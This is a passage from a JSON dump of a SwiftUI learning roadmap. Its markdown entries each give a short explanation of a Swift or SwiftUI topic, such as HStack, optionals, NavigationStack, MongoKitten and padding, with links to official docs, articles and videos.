    "content": "# HStack\n\nAn `HStack` is a layout container that arranges its child views in a horizontal line. It's like a row where you place different UI elements side-by-side. You can control the spacing between these elements and how they align vertically within the row. `HStack` simplifies creating horizontal layouts without needing to manually calculate positions and sizes.\n\nVisit the following resources to learn more:\n\n- [@official@HStack](https://developer.apple.com/documentation/swiftui/hstack)\n- [@official@Building layouts with stack views](https://developer.apple.com/documentation/swiftui/building-layouts-with-stack-views)\n- [@article@HStack](https://www.swiftuifieldguide.com/layout/hstack/)\n- [@video@VStack, HStack, and ZStack in SwiftUI | Bootcamp](https://www.youtube.com/watch?v=pv-vbUEzimk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/hummingbird@5nwb4xOiJ4odx1NXXRflI.md",
    "content": "# Hummingbird\n\nHummingbird is an open-source server-side framework written in Swift, designed to help developers build high-performance web applications and APIs. It leverages Swift's type safety and concurrency features to provide a robust and efficient platform for handling HTTP requests, routing, and middleware. Hummingbird aims to simplify server-side development in Swift, offering a clean and expressive syntax for defining endpoints and processing data.\n\nVisit the following resources to learn more:\n\n- [@opensource@Hummingbird](https://github.com/hummingbird-project/hummingbird)\n- [@official@Hummingbird](https://hummingbird.codes/)\n- [@article@Getting Started with Hummingbird](https://swiftonserver.com/getting-started-with-hummingbird/)\n- [@video@Introduction to Hummingbird 2 - Joannis Orlandos](https://www.youtube.com/watch?v=FHO_BfidQlQ)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/ides@ofDokn4mAgUSL-pOy-MVb.md",
    "content": "# IDEs\n\nAn Integrated Development Environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE typically includes a source code editor, build automation tools, and a debugger. These tools are designed to streamline the process of writing, testing, and debugging code, making software development more efficient.\n\nVisit the following resources to learn more:\n\n- [@article@5 Best Swift IDEs & Text Editors](https://www.bairesdev.com/blog/best-swift-ide-text-editor/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/if--else@7XtwAhFQH7uNlvvtE9-qX.md",
    "content": "# If / Else Statements\n\n`if` and `else` statements are fundamental control flow structures in Swift that allow your code to execute different blocks of code based on whether a condition is true or false. The `if` statement evaluates a Boolean expression, and if the expression is `true`, the code within the `if` block is executed. Optionally, you can include an `else` block, which will be executed if the `if` condition is `false`. You can also chain multiple conditions together using `else if` to handle more complex scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@Conditional Statements](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#Conditional-Statements)\n- [@article@Swift if, else statements](https://www.programiz.com/swift-programming/if-else-statement)\n- [@video@Swift Tutorial for Beginners: Lesson 3 IF Statements](https://www.youtube.com/watch?v=H_xErt38mWg)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/image@-COipcnjNA-BV5PnYj_o-.md",
    "content": "# Image\n\n`Image` is a fundamental view used to display pictures or graphics within your app's user interface. It allows you to load images from various sources, such as your app's asset catalog, the file system, or even remote URLs, and present them to the user. You can customize the appearance of an `Image` by applying modifiers to control its size, scaling behavior, and other visual properties.\n\nVisit the following resources to learn more:\n\n- [@official@Image](https://developer.apple.com/documentation/swiftui/image)\n- [@article@How to draw images using Image views](https://www.hackingwithswift.com/quick-start/swiftui/how-to-draw-images-using-image-views)\n- [@video@Mastering Images in SwiftUI – Assets, Bundles, Remote URLs & Effects](https://www.youtube.com/watch?v=KnuKc9eICM4)\n- [@video@Adding images to a SwiftUI application | Bootcamp #7](https://www.youtube.com/watch?v=MeoiHFdIeR8)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/implicit-animations@3-3r9psIaF-dQSjIFCsKS.md",
    "content": "# Implicit Animations\n\nImplicit animations in Swift UI provide a simple way to animate changes to a view's properties. When a property that affects the view's appearance changes, and an animation modifier is attached to the view, Swift UI automatically animates the transition between the old and new values. This creates smooth and visually appealing effects without requiring explicit animation blocks or complex code.\n\nVisit the following resources to learn more:\n\n- [@official@Animation](https://developer.apple.com/documentation/swiftui/animation)\n- [@article@Difference Between Implicit and Explicit Animations in SwiftUI](https://holyswift.app/difference-between-implicit-and-explicit-animations-in-swiftui/)\n- [@video@Creating implicit animations](https://www.youtube.com/watch?v=D3N-GA_J73g)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/inheritance@P1IUtZi9_41zPn4nar6Ov.md",
    "content": "# Inheritance\n\nInheritance is a fundamental concept in object-oriented programming where a new class (called a subclass or derived class) can inherit properties and methods from an existing class (called a superclass or base class). This allows you to create a hierarchy of classes, where subclasses inherit and extend the functionality of their superclasses, promoting code reuse and establishing relationships between different types of objects.\n\nVisit the following resources to learn more:\n\n- [@official@Inheritance](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/inheritance/)\n- [@article@Swift Inheritance](https://www.programiz.com/swift-programming/inheritance)\n- [@video@Swift For Beginners - Class & Inheritance Explained](https://www.youtube.com/watch?v=EhDML-fAqTM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/initialization@DsGqB_mLppVESbQeczWh4.md",
    "content": "# Initialization\n\nInitialization is the process of preparing an instance of a class, structure, or enumeration for use. This involves setting an initial value for each stored property on that instance and performing any other setup or initialization required before the new instance is ready. Initializers are special methods that are called when a new instance is created, ensuring that the instance is in a valid and usable state.\n\nVisit the following resources to learn more:\n\n- [@official@Initialization](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/initialization/)\n- [@article@Swift init()](https://www.digitalocean.com/community/tutorials/swift-init)\n- [@video@Understanding Swift Initializers](https://www.youtube.com/watch?v=ElfPQZ9MVTQ)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/installing-swift@l8BWjmxhHaO0uDmFFFBoI.md",
    "content": "# Installing Swift\n\nInstalling Swift involves setting up the Swift compiler and related tools on your system, allowing you to write and run Swift code. This typically involves downloading a Swift toolchain from the official Swift.org website or using a package manager like Homebrew on macOS or apt on Linux. The installation process configures your environment to recognize Swift commands, allowing you to compile and execute Swift programs.\n\nVisit the following resources to learn more:\n\n- [@official@Installing Swift](https://www.swift.org/install/macos/)\n- [@article@Quick and Easy Guide to Install Swift on Your System](https://www.dhiwise.com/post/quick-and-easy-guide-to-install-swift-on-your-system)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/integers@Kih96pA1xsogmvrmbIFX6.md",
    "content": "# Integers in Swift\n\nIntegers in Swift are whole numbers, meaning they don't have any fractional or decimal parts. They can be positive, negative, or zero. Swift provides different integer types (like `Int`, `Int8`, `Int16`, `Int32`, `Int64`, `UInt`, `UInt8`, etc.) that vary in the range of values they can store, allowing you to choose the most appropriate type based on the expected size of the number you're working with. The default `Int` type is usually sufficient for most general-purpose integer storage, and its size depends on the platform (typically 32-bit or 64-bit).\n\nVisit the following resources to learn more:\n\n- [@official@Integers](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Integers)\n- [@article@Data Types in Swift](https://medium.com/@andyandmishel15/data-types-in-swift-b6d0e6cc65fa)\n- [@video@(2020) Swift Tutorial for Beginners: Lesson 2 Data Types](https://www.youtube.com/watch?v=zcLMOTEDd8Y)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/introduction@vnbgQBHdyv0tE-y7ngAOV.md",
    "content": "# Introduction to Swift & SwiftUI\n\nSwift is a powerful and intuitive programming language developed by Apple, designed for building apps across all Apple platforms, including iOS, macOS, watchOS, and tvOS. SwiftUI is a declarative UI framework that enables developers to create user interfaces straightforwardly and efficiently using Swift. It offers a modern approach to UI development, emphasizing simplicity, readability, and live previews, which makes it easier to build dynamic and visually appealing applications.\n\nVisit the following resources to learn more:\n\n- [@official@Swift](https://www.swift.org/about/)\n- [@article@SwiftUI](https://developer.apple.com/documentation/swiftui)\n- [@article@What’s the difference between Swift and SwiftUI?](https://www.hackingwithswift.com/quick-start/understanding-swift/whats-the-difference-between-swift-and-swiftui)\n- [@video@Swift in 100 Seconds](https://www.youtube.com/watch?v=nAchMctX4YA)\n- [@video@What Is SwiftUI? | In Under 10 Minutes](https://www.youtube.com/watch?v=K_OaH4nUI_Q)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/list@ZR0b32xTb0WbqZeoojyIg.md",
    "content": "# List\n\nA `List` is a container view that arranges data in a single column, making it easy to display scrollable collections of items. It's similar to a table view in UIKit, but with a more declarative and flexible approach. You can populate a `List` with static content or dynamically generate rows based on data from an array or other data source.\n\nVisit the following resources to learn more:\n\n- [@official@List](https://developer.apple.com/documentation/swiftui/list)\n- [@official@Displaying data in lists](https://developer.apple.com/documentation/swiftui/displaying-data-in-lists)\n- [@video@SwiftUI Tutorial: How to create List View, Custom Cells, and use List Styles](https://www.youtube.com/watch?v=X5hy3M47OC4)\n- [@video@Add, edit, move, and delete items in a List in SwiftUI | Bootcamp #31](https://www.youtube.com/watch?v=tkOnXG-sNks)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/localization@yRVNTN2eJEtT5uX4jrRS6.md",
    "content": "# Localization\n\nLocalization is the process of adapting your app to different languages, regions, and cultures. This involves translating text, adjusting layouts for different reading directions, and formatting dates, times, and currencies according to local conventions. By localizing your app, you can reach a wider audience and provide a more user-friendly experience for people around the world.\n\nVisit the following resources to learn more:\n\n- [@official@Preparing views for localization](https://developer.apple.com/documentation/SwiftUI/Preparing-views-for-localization)\n- [@article@Localize Your Apps to Support Multiple Languages — iOS Localization in SwiftUI](https://medium.com/simform-engineering/localize-your-apps-to-support-multiple-languages-ios-localization-in-swiftui-c72d891a3e9)\n- [@article@A Step-by-Step SwiftUI Tutorial](https://phrase.com/blog/posts/swiftui-tutorial-localization/)\n- [@video@WWDC25: Code-along: Explore localization with Xcode | Apple](https://www.youtube.com/watch?v=dcfrrz9iCEE)\n- [@video@How to translate and localize an iOS app with string catalogs in Xcode 15](https://www.youtube.com/watch?v=slOQbTacj4k&t=182s)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/logging--debugging@O5libf2fha4pyKxQDCQka.md",
    "content": "# Logging & Debugging\n\nLogging and debugging are essential practices in software development for identifying and resolving issues in your code. Logging involves recording information about your application's behavior as it runs, allowing you to trace events and diagnose problems. Debugging, on the other hand, is the process of stepping through your code, examining variables, and understanding the flow of execution to pinpoint the source of errors. These techniques help ensure your Swift and SwiftUI applications function correctly and provide a smooth user experience.\n\nVisit the following resources to learn more:\n\n- [@official@https://developer.apple.com/documentation/os/logging](https://developer.apple.com/documentation/os/logging)\n- [@official@Diagnosing and resolving bugs in your running app](https://developer.apple.com/documentation/xcode/diagnosing-and-resolving-bugs-in-your-running-app)\n- [@video@Xcode 16 Debugging Tutorial for Beginners (2025)](https://www.youtube.com/watch?v=ZJmUeOT6c-Y)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/logical@ND7oiPW66fhJVZuhNqAnj.md",
    "content": "# Logical Operators\n\nLogical operators in Swift allow you to combine or modify Boolean (true/false) values. They are used to create more complex conditions in your code. The primary logical operators are AND (`&&`), OR (`||`), and NOT (`!`). These operators enable you to control the flow of your program based on multiple conditions being met or not met.\n\nVisit the following resources to learn more:\n\n- [@official@Logical Operators](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/basicoperators/#Logical-Operators)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/loops@N_9K-sVmpCMD_Ug_3qX7h.md",
    "content": "# Loops\n\nLoops are fundamental programming constructs that allow you to execute a block of code repeatedly. They provide a way to automate repetitive tasks, iterate over collections of data, and perform actions until a specific condition is met. In Swift, you'll primarily encounter `for-in` loops for iterating over sequences and `while` loops for repeating code based on a condition.\n\nVisit the following resources to learn more:\n\n- [@official@Loops](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow)\n- [@article@Loops in Swift](https://medium.com/icommunity/loops-in-swift-8a9181fb364a)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/macros@GlLHFLypw3eTMs7h43Lys.md",
    "content": "# Macros\n\nMacros are a way to generate code at compile time. They allow you to write code that transforms or expands into other code, effectively automating repetitive tasks and enabling more expressive and concise syntax. This can lead to improved code readability, reduced boilerplate, and enhanced compile-time safety.\n\nVisit the following resources to learn more:\n\n- [@official@Macros](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/attributes/#resultBuilder)\n- [@official@Applying Macros](https://developer.apple.com/documentation/swift/applying-macros)\n- [@article@Swift Macros: Extend Swift with New Kinds of Expressions](https://www.avanderlee.com/swift/macros/)\n- [@article@Macros](https://www.hackingwithswift.com/swift/5.9/macros)\n- [@video@Swift Macros 101: Your Step-by-Step Guide To Crafting Your First Macro!](https://www.youtube.com/watch?v=NGpM9-t9tgs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/memory-safety@B1mbKaKaxvT82PPKQoMm5.md",
    "content": "# Memory Safety\n\nMemory safety in Swift is a set of language features that prevent common programming errors related to memory access. It ensures that your program accesses memory predictably and safely, preventing issues like accessing memory that has already been deallocated (dangling pointers) or writing outside the bounds of an allocated memory region (buffer overflows). Swift achieves this through features like automatic memory management (ARC), strong typing, and compile-time checks.\n\nVisit the following resources to learn more:\n\n- [@official@Memory Safety](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/memorysafety/)\n- [@official@Automatic Reference Counting](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/automaticreferencecounting/)\n- [@article@A detailed explanation of how ARC works in Swift](https://medium.com/@ahmed044/a-detailed-explanation-of-how-arc-works-in-swift-8076fc79e03b)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/methods@8fpk7cpMluKMGOiOLGxLW.md",
    "content": "# Methods in Swift Structures and Classes\n\nMethods are functions that are associated with a particular type, like a structure or a class. They provide a way to encapsulate behavior and data together.  You can define methods to perform actions related to instances of that type, allowing you to interact with and manipulate the data stored within those instances.\n\nVisit the following resources to learn more:\n\n- [@official@Methods](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/methods)\n- [@article@Swift Methods](https://www.programiz.com/swift-programming/methods)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/mongokitten@htRKwjBD1NkKZZG5Cd9bx.md",
    "content": "# MongoKitten\n\nMongoKitten is a native Swift driver for MongoDB, a popular NoSQL database. It allows Swift applications, including those built with SwiftUI, to interact with MongoDB databases for storing and retrieving data. This interaction involves establishing a connection, performing CRUD (Create, Read, Update, Delete) operations, and managing data structures within the MongoDB environment, all directly from Swift code.\n\nVisit the following resources to learn more:\n\n- [@opensource@MongoKitten](https://github.com/orlandos-nl/MongoKitten)\n- [@article@Getting Started with MongoDB in Swift using MongoKitten](https://swiftonserver.com/getting-started-with-mongokitten/)\n- [@article@MongoKitten Tutorial](https://swiftpackageindex.com/orlandos-nl/mongokitten/7.9.8/tutorials/intro)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/moya@gKW619QYNxtSoeld_jNs7.md",
    "content": "# Moya\n\nMoya is a Swift networking library that simplifies the process of making API requests. It acts as an abstraction layer on top of URLSession, providing a cleaner and more organized way to define and manage your API endpoints. Instead of directly dealing with URLs, HTTP methods, and request parameters, you define your API as a set of \"targets\" (enums) that encapsulate all the necessary information for each request. This approach promotes code reusability, testability, and overall maintainability when working with network communication in your Swift applications.\n\nVisit the following resources to learn more:\n\n- [@opensource@Moya](https://github.com/Moya/Moya)\n- [@article@Handling Network calls in Swift with Moya](https://medium.com/simform-engineering/handling-network-calls-in-swift-with-moya-c82908c93e5)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/mvvm@l-E5ZN3xarJ69o26-yvAn.md",
    "content": "# MVVM\n\nMVVM (Model-View-ViewModel) is a software architectural pattern that facilitates the separation of concerns in application development. It divides an application into three interconnected parts: the Model (data and business logic), the View (the user interface), and the ViewModel (an intermediary that prepares data for the View and handles user input). This separation makes code more testable, maintainable, and reusable.\n\nVisit the following resources to learn more:\n\n- [@article@Swift Tutorial: An Introduction to the MVVM Design Pattern](https://www.toptal.com/ios/swift-tutorial-introduction-to-mvvm)\n- [@article@Introducing MVVM into your SwiftUI project](https://www.hackingwithswift.com/books/ios-swiftui/introducing-mvvm-into-your-swiftui-project)\n- [@video@SwiftUI - Intro to MVVM | Example Refactor | Model View ViewModel](https://www.youtube.com/watch?v=FwGMU_Grnf8)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/navigationlink@6EpvayoacyBX8wXPJ_CZ5.md",
    "content": "# NavigationLink\n\n`NavigationLink` enables navigation between different views within your app. It acts as a button or tappable element that, when activated, pushes a new view onto the navigation stack, displaying it to the user. This allows you to create hierarchical navigation structures, where users can drill down into more detailed content and then easily return to previous screens.\n\nVisit the following resources to learn more:\n\n- [@official@NavigationLink](https://developer.apple.com/documentation/swiftui/navigationlink)\n- [@video@Displaying a detail screen with NavigationLink](https://www.hackingwithswift.com/quick-start/swiftui/displaying-a-detail-screen-with-navigationlink)\n- [@video@The problem with a simple NavigationLink – Navigation SwiftUI Tutorial](https://www.youtube.com/watch?v=o8YHHQJzGz4)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/navigationpath@W5HvjGbPFFmrIdzwg_WvM.md",
    "content": "# NavigationPath\n\n`NavigationPath` provides a way to manage the navigation stack programmatically. Instead of relying solely on `NavigationLink` to push views onto the stack, `NavigationPath` allows you to manipulate the navigation history directly. This is particularly useful for scenarios where you need to navigate based on complex logic, deep linking, or when you want to programmatically control the back button behavior. It essentially acts as a data-driven representation of the navigation stack, enabling you to push, pop, or replace views more dynamically and flexibly.\n\nVisit the following resources to learn more:\n\n- [@official@NavigationPath](https://developer.apple.com/documentation/swiftui/navigationpath)\n- [@article@Mastering NavigationStack in SwiftUI. NavigationPath.](https://swiftwithmajid.com/2022/10/05/mastering-navigationstack-in-swiftui-navigationpath/)\n- [@video@Navigating to different data types using NavigationPath](https://www.youtube.com/watch?v=PU8q5UPHTS0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/navigationstack@kh8PovQUi61HDBeHD2G4x.md",
    "content": "# NavigationStack\n\n`NavigationStack` provides a way to manage hierarchical navigation within your app. It allows users to move forward and backward through a stack of views, similar to how you navigate through folders on a computer. Each view pushed onto the stack becomes a new level in the navigation hierarchy, and the `NavigationStack` provides a back button (or gesture) to return to the previous view. This is the modern replacement for `NavigationView`, offering more flexibility and control over navigation.\n\nVisit the following resources to learn more:\n\n- [@official@NavigationStack](https://developer.apple.com/documentation/SwiftUI/NavigationStack)\n- [@article@Programmatic navigation with NavigationStack](https://www.hackingwithswift.com/books/ios-swiftui/programmatic-navigation-with-navigationstack)\n- [@official@Migrating to new navigation types](https://developer.apple.com/documentation/swiftui/migrating-to-new-navigation-types)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/neovim@IuQG4c_0KpNlTds7W7Gzn.md",
    "content": "# Neovim\n\nNeovim is a free and open-source, heavily refactored and extended version of the Vim text editor. It aims to improve Vim's extensibility, user experience, and maintainability. It allows developers to use plugins and extensions to customize their editing environment, and it can be used for coding in various languages, including Swift and Swift UI.\n\nVisit the following resources to learn more:\n\n- [@official@Neovim](https://neovim.io/)\n- [@opensource@Neovim](https://github.com/neovim/neovim)\n- [@official@Configuring Neovim for Swift Development](https://www.swift.org/documentation/articles/zero-to-swift-nvim.html)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/nested-functions@tSBt4WCd-v96Ux-INWdj1.md",
    "content": "# Nested Functions\n\nNested functions are functions defined inside the body of another function. The outer function is called the enclosing function, and the inner function is the nested function. Nested functions can access variables from their enclosing function's scope, even after the enclosing function has returned, creating a closure. This allows you to encapsulate and organize code, making it more readable and maintainable by keeping related functionality together.\n\nVisit the following resources to learn more:\n\n- [@official@Nested Functions](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/functions#Nested-Functions)\n- [@article@Swift Nested Functions](https://www.programiz.com/swift-programming/nested-functions)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/networking-libraries@NCwJq7Rv2H4m5_oxIWinV.md",
    "content": "# Networking Libraries\n\nNetworking libraries provide tools and abstractions to simplify the process of making network requests, handling responses, and managing data transfer. They handle tasks like creating URLs, managing connections, serializing data into formats like JSON, and parsing responses, allowing developers to focus on the application logic rather than the low-level details of network communication. These libraries often offer features like asynchronous operations, error handling, and request cancellation, making network operations more robust and easier to manage."
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/nil-coalescing@cCi3MutPRV-L1rrW5McQH.md",
    "content": "# Nil-Coalescing Operator\n\nThe nil-coalescing operator ( `??` ) provides a default value when an optional is nil. It's a shorthand way to unwrap an optional if it contains a value, or to provide an alternative value if the optional is nil. This operator simplifies code by avoiding verbose `if let` or `guard let` statements when handling optional values.\n\nVisit the following resources to learn more:\n\n- [@official@Nil-Coalescing Operator](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/basicoperators/#Nil-Coalescing-Operator)\n- [@video@Nil coalescing – Swift in Sixty Seconds](https://www.youtube.com/watch?v=zXtCdd4JSlU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/observedobject@eZI02ZYjGUACbpM0T7_LR.md",
    "content": "# @ObservedObject\n\n`@ObservedObject` is a property wrapper in SwiftUI used to subscribe to an external class that conforms to the `ObservableObject` protocol.  When the observable object publishes changes (typically through `@Published` properties), any views observing it will automatically update to reflect the new data. This allows you to manage and share state across different parts of your SwiftUI application, ensuring that the UI stays synchronized with the underlying data model.\n\nVisit the following resources to learn more:\n\n- [@official@ObservedObject](https://developer.apple.com/documentation/swiftui/observedobject)\n- [@article@How to use @ObservedObject to manage state from external objects](https://www.hackingwithswift.com/quick-start/swiftui/how-to-use-observedobject-to-manage-state-from-external-objects)\n- [@video@DON'T Make this MISTAKE || StateObject vs ObservedObject | What's the Difference?](https://www.youtube.com/watch?v=RvzJLekIjRs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/observers@n1n7-fTnzS2QaEM0L7IZL.md",
    "content": "# Property Observers\n\nProperty observers in Swift allow you to monitor and respond to changes in a property's value. You can define code that will be executed before (willSet) or after (didSet) a property's value is set. This is useful for tasks like updating the user interface, performing calculations based on the new value, or validating data.\n\nVisit the following resources to learn more:\n\n- [@official@Property Observers](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties#Computed-Properties)\n- [@video@Property observers: didSet – 7 Swifty Words, part 5](https://www.swiftbysundell.com/articles/property-observers-in-swift/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/operators@4EBdMshXiAylkgoG9FqlB.md",
    "content": "# Operators in Swift\n\nOperators are special symbols or phrases that you use to check, change, or combine values. Swift supports a variety of operators, from familiar arithmetic operators like `+` and `-`, to more advanced operators for logic and bit manipulation. These operators allow you to perform calculations, make comparisons, and manipulate data within your Swift code.\n\nVisit the following resources to learn more:\n\n- [@official@Basic operators](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/basicoperators/)\n- [@official@Advanced Operators](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/advancedoperators/)\n- [@article@Swift Operators](https://www.programiz.com/swift-programming/operators)\n- [@article@The Ultimate Guide to Operators in Swift](https://www.appypievibe.ai/blog/swift-code/operators-swift-how-to/)\n- [@video@Introduction to Swift: Operators](https://www.youtube.com/watch?v=Svaq3jVy8sU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/optional-chaining@3CcmKsX4Yuej9MrAXh-4P.md",
    "content": "# Optional Chaining\n\nOptional chaining is a feature that allows you to access properties, methods, and subscripts of an optional value. If the optional contains a value, the property, method, or subscript is accessed as normal. However, if the optional is `nil`, the entire chain gracefully fails and returns `nil` without causing a runtime error. This provides a concise way to conditionally access nested properties or methods when dealing with optionals.\n\nVisit the following resources to learn more:\n\n- [@official@Optional Chaining](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/optionalchaining/)\n- [@article@Optional Binding vs. Optional Chaining: Swift Techniques to Avoid Runtime Errors](https://www.dhiwise.com/post/optional-binding-vs-optional-chaining-swift-techniques)\n- [@video@Introduction to Swift: Optional chaining](https://www.youtube.com/watch?v=S8-QO2wUbRg)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/optionals--nil@pPXG2vtWu_vgGymawe5-u.md",
    "content": "# Optionals and nil\n\nIn Swift, an optional is a type that can hold either a value or the absence of a value (represented by `nil`). It's a way to indicate that a variable might not have a value at a particular time. `nil` itself represents the lack of a value for a variable of an optional type. Optionals are used to handle situations where a value might be missing, preventing unexpected errors and crashes in your code.\n\nVisit the following resources to learn more:\n\n- [@official@Optionals](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Optionals)\n- [@video@Introduction to Optionals](https://www.hackingwithswift.com/read/0/12/optionals)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/padding@TQQ8b8y3KYNeASrki0YMy.md",
    "content": "# Padding\n\nPadding in Swift and SwiftUI is used to add space around the content of a view. It essentially creates a buffer zone between the view's content and its surrounding elements or the edges of its parent view. This helps improve the visual appearance and readability of your user interface by preventing elements from appearing cramped or too close together. You can control the amount of padding applied to all sides of a view or specify different padding values for each side (top, leading, bottom, trailing).\n\nVisit the following resources to learn more:\n\n- [@official@Padding](https://developer.apple.com/documentation/SwiftUI/View/padding(_:_:))\n- [@article@SwiftUI .padding()](https://www.codecademy.com/resources/docs/swiftui/viewmodifier/padding)\n- [@video@Adding Padding in SwiftUI View | Bootcamp #11](https://www.youtube.com/watch?v=MuOtLPQ4jR4)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/parameters@FaWFpl-nZlU7Qo_824-NE.md",
    "content": "# Parameters in Swift Functions and Closures\n\nParameters are named values that you pass into a function or closure when you call it. They act as inputs, allowing the function or closure to operate on specific data.  Each parameter has a name and a type, and you specify these in the function or closure's definition. When calling the function or closure, you provide arguments that correspond to these parameters, allowing you to customize the behavior of the code being executed.\n\nVisit the following resources to learn more:\n\n- [@official@Function Parameters and Return Values](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/functions/#Functions-With-Multiple-Parameters)\n- [@video@How to use Functions in Swift | Swift Basics #5](https://www.youtube.com/watch?v=kr3SSplrJlw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/plugins@ygVGffnYXG6j6JzM5q9mO.md",
    "content": "# Swift Package Manager Plugins\n\nSwift Package Manager plugins allow you to extend the build process of your Swift packages with custom tools and scripts. These plugins can automate tasks like code generation, linting, formatting, and other pre-build or post-build operations, streamlining your development workflow and ensuring consistency across your projects. They essentially provide a way to integrate external tools and scripts directly into the Swift build system.\n\nVisit the following resources to learn more:\n\n- [@official@Plugins](https://docs.swift.org/swiftpm/documentation/packagemanagerdocs/plugins/)\n- [@article@Meet Swift Package plugins](https://wwdcnotes.com/documentation/wwdcnotes/wwdc22-110359-meet-swift-package-plugins/)\n- [@video@WWDC22: Create Swift Package plugins | Apple](https://www.youtube.com/watch?v=JiyZmB6aX30)\n- [@video@WWDC22: Meet Swift Package plugins | Apple](https://www.youtube.com/watch?v=Oe5JPnVNhRo)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/print--string-interpolation@2RkpY7Oq_Z-6YY4hZuc7q.md",
    "content": "# Print & String Interpolation\n\nIn Swift, `print()` is a function used to display values in the console, which helps debug and see the output of your code. String interpolation allows you to embed variables or expressions directly within a string. You do this by wrapping the variable or expression in parentheses preceded by a backslash: `\\(variableName)`. This makes it easy to create dynamic strings that include the values of variables or the results of calculations.\n\nVisit the following resources to learn more:\n\n- [@official@Printing Constants and Variables](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Printing-Constants-and-Variables)\n- [@official@String Interpolation](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/stringsandcharacters#String-Interpolation)\n- [@video@Introduction to Swift: String interpolation](https://www.youtube.com/watch?v=3-I43GvrzsA)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/propagating@09Ue-KMoTFypYKThhJMw9.md",
    "content": "# Error Propagation\n\nError propagation in Swift is the process of passing an error up the call stack until it's handled by a `catch` block. When a function encounters an error it can't resolve, it `throws` the error. The calling function then has the responsibility to either handle the error using a `do-catch` block or to propagate the error further up the chain by also declaring that it `throws`. This continues until the error is caught and handled, preventing the program from crashing and allowing for graceful error recovery.\n\nVisit the following resources to learn more:\n\n- [@official@Propagating Errors Using Throwing Functions](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/errorhandling/#Propagating-Errors-Using-Throwing-Functions)\n- [@article@Propagate Swift Errors Using Throwing Functions](https://www.kodeco.com/books/swift-cookbook/v1.0/chapters/2-propagate-swift-errors-using-throwing-functions)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/properties@lYQNVpMqaVOSMI18uEnJZ.md",
    "content": "# Properties\n\nProperties associate values with a particular class, structure, or enumeration. Stored properties store constant or variable values as part of an instance, whereas computed properties calculate (rather than store) a value. You can also define type properties, which are associated with the type itself, rather than with an instance of that type.\n\nVisit the following resources to learn more:\n\n- [@official@Properties](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties)\n- [@article@Swift Properties](https://www.programiz.com/swift-programming/properties)\n- [@video@Introduction to Swift: Properties](https://www.youtube.com/watch?v=AabqZodJ2xM&t=1s)\n- [@video@How to compute property values dynamically – Swift for Complete Beginners](https://www.youtube.com/watch?v=UEvKhKviPRw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/protocols@ZXmYD2gwgdkve12GpdP7Y.md",
